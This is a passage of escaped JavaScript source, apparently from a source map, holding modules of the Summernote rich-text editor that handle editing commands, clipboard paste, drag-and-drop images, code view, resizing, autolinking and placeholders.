$(anchor).removeAttr('target');\n        }\n      });\n\n      const startRange = range.createFromNodeBefore(lists.head(anchors));\n      const startPoint = startRange.getStartPoint();\n      const endRange = range.createFromNodeAfter(lists.last(anchors));\n      const endPoint = endRange.getEndPoint();\n\n      range.create(\n        startPoint.node,\n        startPoint.offset,\n        endPoint.node,\n        endPoint.offset\n      ).select();\n    });\n\n    /**\n     * setting color\n     *\n     * @param {Object} sObjColor  color code\n     * @param {String} sObjColor.foreColor foreground color\n     * @param {String} sObjColor.backColor background color\n     */\n    this.color = this.wrapCommand((colorInfo) => {\n      const foreColor = colorInfo.foreColor;\n      const backColor = colorInfo.backColor;\n\n      if (foreColor) { document.execCommand('foreColor', false, foreColor); }\n      if (backColor) { document.execCommand('backColor', false, backColor); }\n    });\n\n    /**\n     * Set foreground color\n     *\n     * @param {String} colorCode foreground color code\n     */\n    this.foreColor = this.wrapCommand((colorInfo) => {\n      document.execCommand('styleWithCSS', false, true);\n      document.execCommand('foreColor', false, colorInfo);\n    });\n\n    /**\n     * insert Table\n     *\n     * @param {String} dimension of table (ex : \"5x5\")\n     */\n    this.insertTable = this.wrapCommand((dim) => {\n      const dimension = dim.split('x');\n\n      const rng = this.createRange().deleteContents();\n      rng.insertNode(this.table.createTable(dimension[0], dimension[1], this.options));\n    });\n\n    /**\n     * remove media object and Figure Elements if media object is img with Figure.\n     */\n    this.removeMedia = this.wrapCommand(() => {\n      let $target = $(this.restoreTarget()).parent();\n      if ($target.parent('figure').length) {\n        $target.parent('figure').remove();\n      } else {\n        $target = $(this.restoreTarget()).detach();\n      }\n      this.context.triggerEvent('media.delete', $target, this.$editable);\n    });\n\n    /**\n     * float me\n     *\n     * @param {String} value\n     */\n    this.floatMe = this.wrapCommand((value) => {\n      const $target = $(this.restoreTarget());\n      $target.toggleClass('note-float-left', value === 'left');\n      $target.toggleClass('note-float-right', value === 'right');\n      $target.css('float', value);\n    });\n\n    /**\n     * resize overlay element\n     * @param {String} value\n     */\n    this.resize = this.wrapCommand((value) => {\n      const $target = $(this.restoreTarget());\n      $target.css({\n        width: value * 100 + '%',\n        height: ''\n      });\n    });\n  }\n\n  initialize() {\n    // bind custom events\n    this.$editable.on('keydown', (event) => {\n      if (event.keyCode === key.code.ENTER) {\n        this.context.triggerEvent('enter', event);\n      }\n      this.context.triggerEvent('keydown', event);\n\n      if (!event.isDefaultPrevented()) {\n        if (this.options.shortcuts) {\n          this.handleKeyMap(event);\n        } else {\n          this.preventDefaultEditableShortCuts(event);\n        }\n      }\n      if (this.isLimited(1, event)) {\n        return false;\n      }\n    }).on('keyup', (event) => {\n      this.context.triggerEvent('keyup', event);\n    }).on('focus', (event) => {\n      this.context.triggerEvent('focus', event);\n    }).on('blur', (event) => {\n      this.context.triggerEvent('blur', event);\n    }).on('mousedown', (event) => {\n      this.context.triggerEvent('mousedown', event);\n    }).on('mouseup', (event) => {\n      this.context.triggerEvent('mouseup', event);\n    }).on('scroll', (event) => {\n      this.context.triggerEvent('scroll', event);\n    }).on('paste', (event) => {\n      this.context.triggerEvent('paste', event);\n    });\n\n    // init content before set event\n    this.$editable.html(dom.html(this.$note) || dom.emptyPara);\n\n    this.$editable.on(env.inputEventName, func.debounce(() => {\n      this.context.triggerEvent('change', this.$editable.html());\n    }, 100));\n\n    this.$editor.on('focusin', (event) => {\n      this.context.triggerEvent('focusin', event);\n    }).on('focusout', (event) => {\n      this.context.triggerEvent('focusout', event);\n    });\n\n    if (!this.options.airMode) {\n      if (this.options.width) {\n        this.$editor.outerWidth(this.options.width);\n      }\n      if (this.options.height) {\n        this.$editable.outerHeight(this.options.height);\n      }\n      if (this.options.maxHeight) {\n        this.$editable.css('max-height', this.options.maxHeight);\n      }\n      if (this.options.minHeight) {\n        this.$editable.css('min-height', this.options.minHeight);\n      }\n    }\n\n    this.history.recordUndo();\n  }\n\n  destroy() {\n    this.$editable.off();\n  }\n\n  handleKeyMap(event) {\n    const keyMap = this.options.keyMap[env.isMac ? 'mac' : 'pc'];\n    const keys = [];\n\n    if (event.metaKey) { keys.push('CMD'); }\n    if (event.ctrlKey && !event.altKey) { keys.push('CTRL'); }\n    if (event.shiftKey) { keys.push('SHIFT'); }\n\n    const keyName = key.nameFromCode[event.keyCode];\n    if (keyName) {\n      keys.push(keyName);\n    }\n\n    const eventName = keyMap[keys.join('+')];\n    if (eventName) {\n      if (this.context.invoke(eventName) !== false) {\n        event.preventDefault();\n      }\n    } else if (key.isEdit(event.keyCode)) {\n      this.afterCommand();\n    }\n  }\n\n  preventDefaultEditableShortCuts(event) {\n    // B(Bold, 66) / I(Italic, 73) / U(Underline, 85)\n    if ((event.ctrlKey || event.metaKey) &&\n      lists.contains([66, 73, 85], event.keyCode)) {\n      event.preventDefault();\n    }\n  }\n\n  isLimited(pad, event) {\n    pad = pad || 0;\n\n    if (typeof event !== 'undefined') {\n      if (key.isMove(event.keyCode) ||\n          (event.ctrlKey || event.metaKey) ||\n          lists.contains([key.code.BACKSPACE, key.code.DELETE], event.keyCode)) {\n        return false;\n      }\n    }\n\n    if (this.options.maxTextLength > 0) {\n      if ((this.$editable.text().length + pad) >= this.options.maxTextLength) {\n        return true;\n      }\n    }\n    return false;\n  }\n  /**\n   * create range\n   * @return {WrappedRange}\n   */\n  createRange() {\n    this.focus();\n    return range.create(this.editable);\n  }\n\n  /**\n   * saveRange\n   *\n   * save current range\n   *\n   * @param {Boolean} [thenCollapse=false]\n   */\n  saveRange(thenCollapse) {\n    this.lastRange = this.createRange();\n    if (thenCollapse) {\n      this.lastRange.collapse().select();\n    }\n  }\n\n  /**\n   * restoreRange\n   *\n   * restore lately range\n   */\n  restoreRange() {\n    if (this.lastRange) {\n      this.lastRange.select();\n      this.focus();\n    }\n  }\n\n  saveTarget(node) {\n    this.$editable.data('target', node);\n  }\n\n  clearTarget() {\n    this.$editable.removeData('target');\n  }\n\n  restoreTarget() {\n    return this.$editable.data('target');\n  }\n\n  /**\n   * currentStyle\n   *\n   * current style\n   * @return {Object|Boolean} unfocus\n   */\n  currentStyle() {\n    let rng = range.create();\n    if (rng) {\n      rng = rng.normalize();\n    }\n    return rng ? this.style.current(rng) : this.style.fromNode(this.$editable);\n  }\n\n  /**\n   * style from node\n   *\n   * @param {jQuery} $node\n   * @return {Object}\n   */\n  styleFromNode($node) {\n    return this.style.fromNode($node);\n  }\n\n  /**\n   * undo\n   */\n  undo() {\n    this.context.triggerEvent('before.command', this.$editable.html());\n    this.history.undo();\n    this.context.triggerEvent('change', this.$editable.html());\n  }\n\n  /**\n   * redo\n   */\n  redo() {\n    this.context.triggerEvent('before.command', this.$editable.html());\n    this.history.redo();\n    this.context.triggerEvent('change', this.$editable.html());\n  }\n\n  /**\n   * before command\n   */\n  beforeCommand() {\n    this.context.triggerEvent('before.command', this.$editable.html());\n    // keep focus on editable before command execution\n    this.focus();\n  }\n\n  /**\n   * after command\n   * @param {Boolean} isPreventTrigger\n   */\n  afterCommand(isPreventTrigger) {\n    this.normalizeContent();\n    this.history.recordUndo();\n    if (!isPreventTrigger) {\n      this.context.triggerEvent('change', this.$editable.html());\n    }\n  }\n\n  /**\n   * handle tab key\n   */\n  tab() {\n    const rng = this.createRange();\n    if (rng.isCollapsed() && rng.isOnCell()) {\n      this.table.tab(rng);\n    } else {\n      if (this.options.tabSize === 0) {\n        return false;\n      }\n\n      if (!this.isLimited(this.options.tabSize)) {\n        this.beforeCommand();\n        this.typing.insertTab(rng, this.options.tabSize);\n        this.afterCommand();\n      }\n    }\n  }\n\n  /**\n   * handle shift+tab key\n   */\n  untab() {\n    const rng = this.createRange();\n    if (rng.isCollapsed() && rng.isOnCell()) {\n      this.table.tab(rng, true);\n    } else {\n      if (this.options.tabSize === 0) {\n        return false;\n      }\n    }\n  }\n\n  /**\n   * run given function between beforeCommand and afterCommand\n   */\n  wrapCommand(fn) {\n    return () => {\n      this.beforeCommand();\n      fn.apply(this, arguments);\n      this.afterCommand();\n    };\n  }\n\n  /**\n   * insert image\n   *\n   * @param {String} src\n   * @param {String|Function} param\n   * @return {Promise}\n   */\n  insertImage(src, param) {\n    return createImage(src, param).then(($image) => {\n      this.beforeCommand();\n\n      if (typeof param === 'function') {\n        param($image);\n      } else {\n        if (typeof param === 'string') {\n          $image.attr('data-filename', param);\n        }\n        $image.css('width', Math.min(this.$editable.width(), $image.width()));\n      }\n\n      $image.show();\n      range.create(this.editable).insertNode($image[0]);\n      range.createFromNodeAfter($image[0]).select();\n      this.afterCommand();\n    }).fail((e) => {\n      this.context.triggerEvent('image.upload.error', e);\n    });\n  }\n\n  /**\n   * insertImages\n   * @param {File[]} files\n   */\n  insertImages(files) {\n    $.each(files, (idx, file) => {\n      const filename = file.name;\n      if (this.options.maximumImageFileSize && this.options.maximumImageFileSize < file.size) {\n        this.context.triggerEvent('image.upload.error', this.lang.image.maximumFileSizeError);\n      } else {\n        readFileAsDataURL(file).then((dataURL) => {\n          return this.insertImage(dataURL, filename);\n        }).fail(() => {\n          this.context.triggerEvent('image.upload.error');\n        });\n      }\n    });\n  }\n\n  /**\n   * insertImagesOrCallback\n   * @param {File[]} files\n   */\n  insertImagesOrCallback(files) {\n    const callbacks = this.options.callbacks;\n\n    // If onImageUpload this.options setted\n    if (callbacks.onImageUpload) {\n      this.context.triggerEvent('image.upload', files);\n      // else insert Image as dataURL\n    } else {\n      this.insertImages(files);\n    }\n  }\n\n  /**\n   * return selected plain text\n   * @return {String} text\n   */\n  getSelectedText() {\n    let rng = this.createRange();\n\n    // if range on anchor, expand range with anchor\n    if (rng.isOnAnchor()) {\n      rng = range.createFromNode(dom.ancestor(rng.sc, dom.isAnchor));\n    }\n\n    return rng.toString();\n  }\n\n  onFormatBlock(tagName, $target) {\n    // [workaround] for MSIE, IE need `<`\n    tagName = env.isMSIE ? '<' + tagName + '>' : tagName;\n    document.execCommand('FormatBlock', false, tagName);\n\n    // support custom class\n    if ($target && $target.length) {\n      const className = $target[0].className || '';\n      if (className) {\n        const currentRange = this.createRange();\n\n        const $parent = $([currentRange.sc, currentRange.ec]).closest(tagName);\n        $parent.addClass(className);\n      }\n    }\n  }\n\n  formatPara() {\n    this.formatBlock('P');\n  }\n\n  fontStyling(target, value) {\n    const rng = this.createRange();\n\n    if (rng) {\n      const spans = this.style.styleNodes(rng);\n      $(spans).css(target, value);\n\n      // [workaround] added styled bogus span for style\n      //  - also bogus character needed for cursor position\n      if (rng.isCollapsed()) {\n        const firstSpan = lists.head(spans);\n        if (firstSpan && !dom.nodeLength(firstSpan)) {\n          firstSpan.innerHTML = dom.ZERO_WIDTH_NBSP_CHAR;\n          range.createFromNodeAfter(firstSpan.firstChild).select();\n          this.$editable.data(KEY_BOGUS, firstSpan);\n        }\n      }\n    }\n  }\n\n  /**\n   * unlink\n   *\n   * @type command\n   */\n  unlink() {\n    let rng = this.createRange();\n    if (rng.isOnAnchor()) {\n      const anchor = dom.ancestor(rng.sc, dom.isAnchor);\n      rng = range.createFromNode(anchor);\n      rng.select();\n\n      this.beforeCommand();\n      document.execCommand('unlink');\n      this.afterCommand();\n    }\n  }\n\n  /**\n   * returns link info\n   *\n   * @return {Object}\n   * @return {WrappedRange} return.range\n   * @return {String} return.text\n   * @return {Boolean} [return.isNewWindow=true]\n   * @return {String} [return.url=\"\"]\n   */\n  getLinkInfo() {\n    const rng = this.createRange().expand(dom.isAnchor);\n\n    // Get the first anchor on range(for edit).\n    const $anchor = $(lists.head(rng.nodes(dom.isAnchor)));\n    const linkInfo = {\n      range: rng,\n      text: rng.toString(),\n      url: $anchor.length ? $anchor.attr('href') : ''\n    };\n\n    // Define isNewWindow when anchor exists.\n    if ($anchor.length) {\n      linkInfo.isNewWindow = $anchor.attr('target') === '_blank';\n    }\n\n    return linkInfo;\n  }\n\n  addRow(position) {\n    const rng = this.createRange(this.$editable);\n    if (rng.isCollapsed() && rng.isOnCell()) {\n      this.beforeCommand();\n      this.table.addRow(rng, position);\n      this.afterCommand();\n    }\n  }\n\n  addCol(position) {\n    const rng = this.createRange(this.$editable);\n    if (rng.isCollapsed() && rng.isOnCell()) {\n      this.beforeCommand();\n      this.table.addCol(rng, position);\n      this.afterCommand();\n    }\n  }\n\n  deleteRow() {\n    const rng = this.createRange(this.$editable);\n    if (rng.isCollapsed() && rng.isOnCell()) {\n      this.beforeCommand();\n      this.table.deleteRow(rng);\n      this.afterCommand();\n    }\n  }\n\n  deleteCol() {\n    const rng = this.createRange(this.$editable);\n    if (rng.isCollapsed() && rng.isOnCell()) {\n      this.beforeCommand();\n      this.table.deleteCol(rng);\n      this.afterCommand();\n    }\n  }\n\n  deleteTable() {\n    const rng = this.createRange(this.$editable);\n    if (rng.isCollapsed() && rng.isOnCell()) {\n      this.beforeCommand();\n      this.table.deleteTable(rng);\n      this.afterCommand();\n    }\n  }\n\n  /**\n   * @param {Position} pos\n   * @param {jQuery} $target - target element\n   * @param {Boolean} [bKeepRatio] - keep ratio\n   */\n  resizeTo(pos, $target, bKeepRatio) {\n    let imageSize;\n    if (bKeepRatio) {\n      const newRatio = pos.y / pos.x;\n      const ratio = $target.data('ratio');\n      imageSize = {\n        width: ratio > newRatio ? pos.x : pos.y / ratio,\n        height: ratio > newRatio ? pos.x * ratio : pos.y\n      };\n    } else {\n      imageSize = {\n        width: pos.x,\n        height: pos.y\n      };\n    }\n\n    $target.css(imageSize);\n  }\n\n  /**\n   * returns whether editable area has focus or not.\n   */\n  hasFocus() {\n    return this.$editable.is(':focus');\n  }\n\n  /**\n   * set focus\n   */\n  focus() {\n    // [workaround] Screen will move when page is scolled in IE.\n    //  - do focus when not focused\n    if (!this.hasFocus()) {\n      this.$editable.focus();\n    }\n  }\n\n  /**\n   * returns whether contents is empty or not.\n   * @return {Boolean}\n   */\n  isEmpty() {\n    return dom.isEmpty(this.$editable[0]) || dom.emptyPara === this.$editable.html();\n  }\n\n  /**\n   * Removes all contents and restores the editable instance to an _emptyPara_.\n   */\n  empty() {\n    this.context.invoke('code', dom.emptyPara);\n  }\n\n  /**\n   * normalize content\n   */\n  normalizeContent() {\n    this.$editable[0].normalize();\n  }\n}\n","import lists from '../core/lists';\n\nexport default class Clipboard {\n  constructor(context) {\n    this.context = context;\n    this.$editable = context.layoutInfo.editable;\n  }\n\n  initialize() {\n    this.$editable.on('paste', this.pasteByEvent.bind(this));\n  }\n\n  /**\n   * paste by clipboard event\n   *\n   * @param {Event} event\n   */\n  pasteByEvent(event) {\n    const clipboardData = event.originalEvent.clipboardData;\n    if (clipboardData && clipboardData.items && clipboardData.items.length) {\n      const item = lists.head(clipboardData.items);\n      if (item.kind === 'file' && item.type.indexOf('image/') !== -1) {\n        this.context.invoke('editor.insertImagesOrCallback', [item.getAsFile()]);\n      }\n      this.context.invoke('editor.afterCommand');\n    }\n  }\n}\n","import $ from 'jquery';\n\nexport default class Dropzone {\n  constructor(context) {\n    this.context = context;\n    this.$eventListener = $(document);\n    this.$editor = context.layoutInfo.editor;\n    this.$editable = context.layoutInfo.editable;\n    this.options = context.options;\n    this.lang = this.options.langInfo;\n    this.documentEventHandlers = {};\n\n    this.$dropzone = $([\n      '<div class=\"note-dropzone\">',\n      '  <div class=\"note-dropzone-message\"/>',\n      '</div>'\n    ].join('')).prependTo(this.$editor);\n  }\n\n  /**\n   * attach Drag and Drop Events\n   */\n  initialize() {\n    if (this.options.disableDragAndDrop) {\n      // prevent default drop event\n      this.documentEventHandlers.onDrop = (e) => {\n        e.preventDefault();\n      };\n      // do not consider outside of dropzone\n      this.$eventListener = this.$dropzone;\n      this.$eventListener.on('drop', this.documentEventHandlers.onDrop);\n    } else {\n      this.attachDragAndDropEvent();\n    }\n  }\n\n  /**\n   * attach Drag and Drop Events\n   */\n  attachDragAndDropEvent() {\n    let collection = $();\n    const $dropzoneMessage = this.$dropzone.find('.note-dropzone-message');\n\n    this.documentEventHandlers.onDragenter = (e) => {\n      const isCodeview = this.context.invoke('codeview.isActivated');\n      const hasEditorSize = this.$editor.width() > 0 && this.$editor.height() > 0;\n      if (!isCodeview && !collection.length && hasEditorSize) {\n        this.$editor.addClass('dragover');\n        this.$dropzone.width(this.$editor.width());\n        this.$dropzone.height(this.$editor.height());\n        $dropzoneMessage.text(this.lang.image.dragImageHere);\n      }\n      collection = collection.add(e.target);\n    };\n\n    this.documentEventHandlers.onDragleave = (e) => {\n      collection = collection.not(e.target);\n      if (!collection.length) {\n        this.$editor.removeClass('dragover');\n      }\n    };\n\n    this.documentEventHandlers.onDrop = () => {\n      collection = $();\n      this.$editor.removeClass('dragover');\n    };\n\n    // show dropzone on dragenter when dragging a object to document\n    // -but only if the editor is visible, i.e. has a positive width and height\n    this.$eventListener.on('dragenter', this.documentEventHandlers.onDragenter)\n      .on('dragleave', this.documentEventHandlers.onDragleave)\n      .on('drop', this.documentEventHandlers.onDrop);\n\n    // change dropzone's message on hover.\n    this.$dropzone.on('dragenter', () => {\n      this.$dropzone.addClass('hover');\n      $dropzoneMessage.text(this.lang.image.dropImage);\n    }).on('dragleave', () => {\n      this.$dropzone.removeClass('hover');\n      $dropzoneMessage.text(this.lang.image.dragImageHere);\n    });\n\n    // attach dropImage\n    this.$dropzone.on('drop', (event) => {\n      const dataTransfer = event.originalEvent.dataTransfer;\n\n      // stop the browser from opening the dropped content\n      event.preventDefault();\n\n      if (dataTransfer && dataTransfer.files && dataTransfer.files.length) {\n        this.$editable.focus();\n        this.context.invoke('editor.insertImagesOrCallback', dataTransfer.files);\n      } else {\n        $.each(dataTransfer.types, (idx, type) => {\n          const content = dataTransfer.getData(type);\n\n          if (type.toLowerCase().indexOf('text') > -1) {\n            this.context.invoke('editor.pasteHTML', content);\n          } else {\n            $(content).each((idx, item) => {\n              this.context.invoke('editor.insertNode', item);\n            });\n          }\n        });\n      }\n    }).on('dragover', false); // prevent default dragover event\n  }\n\n  destroy() {\n    Object.keys(this.documentEventHandlers).forEach((key) => {\n      this.$eventListener.off(key.substr(2).toLowerCase(), this.documentEventHandlers[key]);\n    });\n    this.documentEventHandlers = {};\n  }\n}\n","import env from '../core/env';\nimport dom from '../core/dom';\n\nlet CodeMirror;\nif (env.hasCodeMirror) {\n  if (env.isSupportAmd) {\n    require(['codemirror'], function(cm) {\n      CodeMirror = cm;\n    });\n  } else {\n    CodeMirror = window.CodeMirror;\n  }\n}\n\n/**\n * @class Codeview\n */\nexport default class CodeView {\n  constructor(context) {\n    this.context = context;\n    this.$editor = context.layoutInfo.editor;\n    this.$editable = context.layoutInfo.editable;\n    this.$codable = context.layoutInfo.codable;\n    this.options = context.options;\n  }\n\n  sync() {\n    const isCodeview = this.isActivated();\n    if (isCodeview && env.hasCodeMirror) {\n      this.$codable.data('cmEditor').save();\n    }\n  }\n\n  /**\n   * @return {Boolean}\n   */\n  isActivated() {\n    return this.$editor.hasClass('codeview');\n  }\n\n  /**\n   * toggle codeview\n   */\n  toggle() {\n    if (this.isActivated()) {\n      this.deactivate();\n    } else {\n      this.activate();\n    }\n    this.context.triggerEvent('codeview.toggled');\n  }\n\n  /**\n   * activate code view\n   */\n  activate() {\n    this.$codable.val(dom.html(this.$editable, this.options.prettifyHtml));\n    this.$codable.height(this.$editable.height());\n\n    this.context.invoke('toolbar.updateCodeview', true);\n    this.$editor.addClass('codeview');\n    this.$codable.focus();\n\n    // activate CodeMirror as codable\n    if (env.hasCodeMirror) {\n      const cmEditor = CodeMirror.fromTextArea(this.$codable[0], this.options.codemirror);\n\n      // CodeMirror TernServer\n      if (this.options.codemirror.tern) {\n        const server = new CodeMirror.TernServer(this.options.codemirror.tern);\n        cmEditor.ternServer = server;\n        cmEditor.on('cursorActivity', (cm) => {\n          server.updateArgHints(cm);\n        });\n      }\n\n      cmEditor.on('blur', (event) => {\n        this.context.triggerEvent('blur.codeview', cmEditor.getValue(), event);\n      });\n\n      // CodeMirror hasn't Padding.\n      cmEditor.setSize(null, this.$editable.outerHeight());\n      this.$codable.data('cmEditor', cmEditor);\n    } else {\n      this.$codable.on('blur', (event) => {\n        this.context.triggerEvent('blur.codeview', this.$codable.val(), event);\n      });\n    }\n  }\n\n  /**\n   * deactivate code view\n   */\n  deactivate() {\n    // deactivate CodeMirror as codable\n    if (env.hasCodeMirror) {\n      const cmEditor = this.$codable.data('cmEditor');\n      this.$codable.val(cmEditor.getValue());\n      cmEditor.toTextArea();\n    }\n\n    const value = dom.value(this.$codable, this.options.prettifyHtml) || dom.emptyPara;\n    const isChange = this.$editable.html() !== value;\n\n    this.$editable.html(value);\n    this.$editable.height(this.options.height ? this.$codable.height() : 'auto');\n    this.$editor.removeClass('codeview');\n\n    if (isChange) {\n      this.context.triggerEvent('change', this.$editable.html(), this.$editable);\n    }\n\n    this.$editable.focus();\n\n    this.context.invoke('toolbar.updateCodeview', false);\n  }\n\n  destroy() {\n    if (this.isActivated()) {\n      this.deactivate();\n    }\n  }\n}\n","import $ from 'jquery';\nconst EDITABLE_PADDING = 24;\n\nexport default class Statusbar {\n  constructor(context) {\n    this.$document = $(document);\n    this.$statusbar = context.layoutInfo.statusbar;\n    this.$editable = context.layoutInfo.editable;\n    this.options = context.options;\n  }\n\n  initialize() {\n    if (this.options.airMode || this.options.disableResizeEditor) {\n      this.destroy();\n      return;\n    }\n\n    this.$statusbar.on('mousedown', (event) => {\n      event.preventDefault();\n      event.stopPropagation();\n\n      const editableTop = this.$editable.offset().top - this.$document.scrollTop();\n      const onMouseMove = (event) => {\n        let height = event.clientY - (editableTop + EDITABLE_PADDING);\n\n        height = (this.options.minheight > 0) ? Math.max(height, this.options.minheight) : height;\n        height = (this.options.maxHeight > 0) ? Math.min(height, this.options.maxHeight) : height;\n\n        this.$editable.height(height);\n      };\n\n      this.$document.on('mousemove', onMouseMove).one('mouseup', () => {\n        this.$document.off('mousemove', onMouseMove);\n      });\n    });\n  }\n\n  destroy() {\n    this.$statusbar.off();\n    this.$statusbar.addClass('locked');\n  }\n}\n","import $ from 'jquery';\n\nexport default class Fullscreen {\n  constructor(context) {\n    this.context = context;\n\n    this.$editor = context.layoutInfo.editor;\n    this.$toolbar = context.layoutInfo.toolbar;\n    this.$editable = context.layoutInfo.editable;\n    this.$codable = context.layoutInfo.codable;\n\n    this.$window = $(window);\n    this.$scrollbar = $('html, body');\n\n    this.onResize = () => {\n      this.resizeTo({\n        h: this.$window.height() - this.$toolbar.outerHeight()\n      });\n    };\n  }\n\n  resizeTo(size) {\n    this.$editable.css('height', size.h);\n    this.$codable.css('height', size.h);\n    if (this.$codable.data('cmeditor')) {\n      this.$codable.data('cmeditor').setsize(null, size.h);\n    }\n  }\n\n  /**\n   * toggle fullscreen\n   */\n  toggle() {\n    this.$editor.toggleClass('fullscreen');\n    if (this.isFullscreen()) {\n      this.$editable.data('orgHeight', this.$editable.css('height'));\n      this.$window.on('resize', this.onResize).trigger('resize');\n      this.$scrollbar.css('overflow', 'hidden');\n    } else {\n      this.$window.off('resize', this.onResize);\n      this.resizeTo({ h: this.$editable.data('orgHeight') });\n      this.$scrollbar.css('overflow', 'visible');\n    }\n\n    this.context.invoke('toolbar.updateFullscreen', this.isFullscreen());\n  }\n\n  isFullscreen() {\n    return this.$editor.hasClass('fullscreen');\n  }\n}\n","import $ from 'jquery';\nimport dom from '../core/dom';\n\nexport default class Handle {\n  constructor(context) {\n    this.context = context;\n    this.$document = $(document);\n    this.$editingArea = context.layoutInfo.editingArea;\n    this.options = context.options;\n    this.lang = this.options.langInfo;\n\n    this.events = {\n      'summernote.mousedown': (we, e) => {\n        if (this.update(e.target)) {\n          e.preventDefault();\n        }\n      },\n      'summernote.keyup summernote.scroll summernote.change summernote.dialog.shown': () => {\n        this.update();\n      },\n      'summernote.disable': () => {\n        this.hide();\n      },\n      'summernote.codeview.toggled': () => {\n        this.update();\n      }\n    };\n  }\n\n  initialize() {\n    this.$handle = $([\n      '<div class=\"note-handle\">',\n      '<div class=\"note-control-selection\">',\n      '<div class=\"note-control-selection-bg\"></div>',\n      '<div class=\"note-control-holder note-control-nw\"></div>',\n      '<div class=\"note-control-holder note-control-ne\"></div>',\n      '<div class=\"note-control-holder note-control-sw\"></div>',\n      '<div class=\"',\n      (this.options.disableResizeImage ? 'note-control-holder' : 'note-control-sizing'),\n      ' note-control-se\"></div>',\n      (this.options.disableResizeImage ? '' : '<div class=\"note-control-selection-info\"></div>'),\n      '</div>',\n      '</div>'\n    ].join('')).prependTo(this.$editingArea);\n\n    this.$handle.on('mousedown', (event) => {\n      if (dom.isControlSizing(event.target)) {\n        event.preventDefault();\n        event.stopPropagation();\n\n        const $target = this.$handle.find('.note-control-selection').data('target');\n        const posStart = $target.offset();\n        const scrollTop = this.$document.scrollTop();\n\n        const onMouseMove = (event) => {\n          this.context.invoke('editor.resizeTo', {\n            x: event.clientX - posStart.left,\n            y: event.clientY - (posStart.top - scrollTop)\n          }, $target, !event.shiftKey);\n\n          this.update($target[0]);\n        };\n\n        this.$document\n          .on('mousemove', onMouseMove)\n          .one('mouseup', (e) => {\n            e.preventDefault();\n            this.$document.off('mousemove', onMouseMove);\n            this.context.invoke('editor.afterCommand');\n          });\n\n        if (!$target.data('ratio')) { // original ratio.\n          $target.data('ratio', $target.height() / $target.width());\n        }\n      }\n    });\n\n    // Listen for scrolling on the handle overlay.\n    this.$handle.on('wheel', (e) => {\n      e.preventDefault();\n      this.update();\n    });\n  }\n\n  destroy() {\n    this.$handle.remove();\n  }\n\n  update(target) {\n    if (this.context.isDisabled()) {\n      return false;\n    }\n\n    const isImage = dom.isImg(target);\n    const $selection = this.$handle.find('.note-control-selection');\n\n    this.context.invoke('imagePopover.update', target);\n\n    if (isImage) {\n      const $image = $(target);\n      const position = $image.position();\n      const pos = {\n        left: position.left + parseInt($image.css('marginLeft'), 10),\n        top: position.top + parseInt($image.css('marginTop'), 10)\n      };\n\n      // exclude margin\n      const imageSize = {\n        w: $image.outerWidth(false),\n        h: $image.outerHeight(false)\n      };\n\n      $selection.css({\n        display: 'block',\n        left: pos.left,\n        top: pos.top,\n        width: imageSize.w,\n        height: imageSize.h\n      }).data('target', $image); // save current image element.\n\n      const origImageObj = new Image();\n      origImageObj.src = $image.attr('src');\n\n      const sizingText = imageSize.w + 'x' + imageSize.h + ' (' + this.lang.image.original + ': ' + origImageObj.width + 'x' + origImageObj.height + ')';\n      $selection.find('.note-control-selection-info').text(sizingText);\n      this.context.invoke('editor.saveTarget', target);\n    } else {\n      this.hide();\n    }\n\n    return isImage;\n  }\n\n  /**\n   * hide\n   *\n   * @param {jQuery} $handle\n   */\n  hide() {\n    this.context.invoke('editor.clearTarget');\n    this.$handle.children().hide();\n  }\n}\n","import $ from 'jquery';\nimport lists from '../core/lists';\nimport key from '../core/key';\n\nconst defaultScheme = 'http://';\nconst linkPattern = /^([A-Za-z][A-Za-z0-9+-.]*\\:[\\/\\/]?|mailto:[A-Z0-9._%+-]+@)?(www\\.)?(.+)$/i;\n\nexport default class AutoLink {\n  constructor(context) {\n    this.context = context;\n    this.events = {\n      'summernote.keyup': (we, e) => {\n        if (!e.isDefaultPrevented()) {\n          this.handleKeyup(e);\n        }\n      },\n      'summernote.keydown': (we, e) => {\n        this.handleKeydown(e);\n      }\n    };\n  }\n\n  initialize() {\n    this.lastWordRange = null;\n  }\n\n  destroy() {\n    this.lastWordRange = null;\n  }\n\n  replace() {\n    if (!this.lastWordRange) {\n      return;\n    }\n\n    const keyword = this.lastWordRange.toString();\n    const match = keyword.match(linkPattern);\n\n    if (match && (match[1] || match[2])) {\n      const link = match[1] ? keyword : defaultScheme + keyword;\n      const node = $('<a />').html(keyword).attr('href', link)[0];\n\n      this.lastWordRange.insertNode(node);\n      this.lastWordRange = null;\n      this.context.invoke('editor.focus');\n    }\n  }\n\n  handleKeydown(e) {\n    if (lists.contains([key.code.ENTER, key.code.SPACE], e.keyCode)) {\n      const wordRange = this.context.invoke('editor.createRange').getWordRange();\n      this.lastWordRange = wordRange;\n    }\n  }\n\n  handleKeyup(e) {\n    if (lists.contains([key.code.ENTER, key.code.SPACE], e.keyCode)) {\n      this.replace();\n    }\n  }\n}\n","import dom from '../core/dom';\n\n/**\n * textarea auto sync.\n */\nexport default class AutoSync {\n  constructor(context) {\n    this.$note = context.layoutInfo.note;\n    this.events = {\n      'summernote.change': () => {\n        this.$note.val(context.invoke('code'));\n      }\n    };\n  }\n\n  shouldInitialize() {\n    return dom.isTextarea(this.$note[0]);\n  }\n}\n","import $ from 'jquery';\nexport default class Placeholder {\n  constructor(context) {\n    this.context = context;\n\n    this.$editingArea = context.layoutInfo.editingArea;\n    this.options = context.options;\n    this.events = {\n      'summernote.init summernote.change': () => {\n        this.update();\n      },\n      'summernote.codeview.toggled': () => {\n        this.update();\n      }\n    };\n  }\n\n  shouldInitialize() {\n    return !!this.options.placeholder;\n  }\n\n  initialize() {\n    this.$placeholder = $('<div class=\"note-placeholder\">');\n    this.$placeholder.on('click', () => {\n      this.context.invoke('focus');\n    }).text(this.options.placeholder).prependTo(this.$editingArea);\n\n    this.update();\n  }\n\n  destroy() {\n    this.$placeholder.remove();\n  }\n\n  update() {\n    const isShow = !this.context.invoke('codeview.isActivated') && this.context.invoke('editor.isEmpty');\n    this.$placeholder.toggle(isShow);\n  }\n}\n","import $ from 'jquery';\nimport func from '../core/func';\nimport lists from '../core/lists';\nimport env from '../core/env';\n\nexport default class Buttons {\n  constructor(context) {\n    this.ui = $.summernote.ui;\n    this.context = context;\n    this.$toolbar = context.layoutInfo.toolbar;\n    this.options = context.options;\n    this.lang = this.options.langInfo;\n    this.invertedKeyMap = func.invertObject(\n      this.options.keyMap[env.isMac ? 'mac' : 'pc']\n    );\n  }\n\n  representShortcut(editorMethod) {\n    let shortcut = this.invertedKeyMap[editorMethod];\n    if (!this.options.shortcuts || !shortcut) {\n      